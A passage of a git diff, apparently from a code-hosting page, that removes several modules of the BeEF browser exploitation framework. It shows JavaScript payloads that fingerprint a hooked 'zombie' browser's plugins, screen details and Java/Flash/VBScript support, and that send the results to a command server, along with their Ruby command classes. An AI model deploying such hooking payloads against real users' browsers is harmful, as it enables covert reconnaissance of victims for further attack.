case 'string':
|
||||
return '\'' + _obj + '\'';
|
||||
break;
|
||||
|
||||
case 'object':
|
||||
var str;
|
||||
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
|
||||
{
|
||||
str = '[';
|
||||
var i, len = _obj.length;
|
||||
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
|
||||
str += serialize(_obj[i]) + ']';
|
||||
}
|
||||
else
|
||||
{
|
||||
str = '{';
|
||||
var key;
|
||||
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
|
||||
str = str.replace(/\,$/, '') + '}';
|
||||
}
|
||||
return str;
|
||||
break;
|
||||
|
||||
default:
|
||||
return 'UNKNOWN';
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
var plugins = beef.browser.getPlugins();
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins);
|
||||
});
|
||||
@@ -1,39 +0,0 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
class Detect_plugins < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Installed Plugins',
|
||||
'Description' => %Q{
|
||||
This module will retrieve the selected zombie browser plugins.'
|
||||
},
|
||||
'Category' => 'Browser',
|
||||
'Author' => ['wade','vo','passbe','saafan'],
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_WORKING,
|
||||
'browser_name' => ALL
|
||||
})
|
||||
|
||||
use 'beef.dom'
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Plugins'] = @datastore['plugins']
|
||||
|
||||
save content
|
||||
#update_zombie!
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,57 +0,0 @@
|
||||
beef.execute(function() {
|
||||
|
||||
function serialize(_obj)
|
||||
{
|
||||
// Let Gecko browsers do this the easy way
|
||||
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
|
||||
{
|
||||
return _obj.toSource();
|
||||
}
|
||||
|
||||
// Other browsers must do it the hard way
|
||||
switch (typeof _obj)
|
||||
{
|
||||
// numbers, booleans, and functions are trivial:
|
||||
// just return the object itself since its default .toString()
|
||||
// gives us exactly what we want
|
||||
case 'number':
|
||||
case 'boolean':
|
||||
case 'function':
|
||||
return _obj;
|
||||
break;
|
||||
|
||||
// for JSON format, strings need to be wrapped in quotes
|
||||
case 'string':
|
||||
return '\'' + _obj + '\'';
|
||||
break;
|
||||
|
||||
case 'object':
|
||||
var str;
|
||||
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
|
||||
{
|
||||
str = '[';
|
||||
var i, len = _obj.length;
|
||||
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
|
||||
str += serialize(_obj[i]) + ']';
|
||||
}
|
||||
else
|
||||
{
|
||||
str = '{';
|
||||
var key;
|
||||
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
|
||||
str = str.replace(/\,$/, '') + '}';
|
||||
}
|
||||
return str;
|
||||
break;
|
||||
|
||||
default:
|
||||
return 'UNKNOWN';
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
var screen_params = serialize(beef.browser.getScreenParams());
|
||||
var window_size = serialize(beef.browser.getWindowSize());
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'screen_params='+screen_params+'&window_size='+window_size);
|
||||
});
|
||||
@@ -1,40 +0,0 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
class Detect_screen_details < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Screen Details',
|
||||
'Description' => %Q{
|
||||
This module will retrieve the selected zombie screen dimensions.'
|
||||
},
|
||||
'Category' => 'Browser',
|
||||
'Author' => ['wade','vo','passbe','saafan'],
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_WORKING,
|
||||
'browser_name' => ALL
|
||||
})
|
||||
|
||||
use 'beef.dom'
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Screen Parameters'] = @datastore['screen_params']
|
||||
content['Window Size'] = @datastore['window_size']
|
||||
|
||||
save content
|
||||
#update_zombie!
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,60 +0,0 @@
|
||||
beef.execute(function() {
|
||||
|
||||
function serialize(_obj)
|
||||
{
|
||||
// Let Gecko browsers do this the easy way
|
||||
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
|
||||
{
|
||||
return _obj.toSource();
|
||||
}
|
||||
|
||||
// Other browsers must do it the hard way
|
||||
switch (typeof _obj)
|
||||
{
|
||||
// numbers, booleans, and functions are trivial:
|
||||
// just return the object itself since its default .toString()
|
||||
// gives us exactly what we want
|
||||
case 'number':
|
||||
case 'boolean':
|
||||
case 'function':
|
||||
return _obj;
|
||||
break;
|
||||
|
||||
// for JSON format, strings need to be wrapped in quotes
|
||||
case 'string':
|
||||
return '\'' + _obj + '\'';
|
||||
break;
|
||||
|
||||
case 'object':
|
||||
var str;
|
||||
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
|
||||
{
|
||||
str = '[';
|
||||
var i, len = _obj.length;
|
||||
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
|
||||
str += serialize(_obj[i]) + ']';
|
||||
}
|
||||
else
|
||||
{
|
||||
str = '{';
|
||||
var key;
|
||||
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
|
||||
str = str.replace(/\,$/, '') + '}';
|
||||
}
|
||||
return str;
|
||||
break;
|
||||
|
||||
default:
|
||||
return 'UNKNOWN';
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
var java_enabled = (beef.browser.hasJava())? "Yes" : "No";
|
||||
var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No";
|
||||
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
|
||||
var has_googlegears = (beef.browser.hasGoogleGears())? "Yes" : "No";
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears);
|
||||
});
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user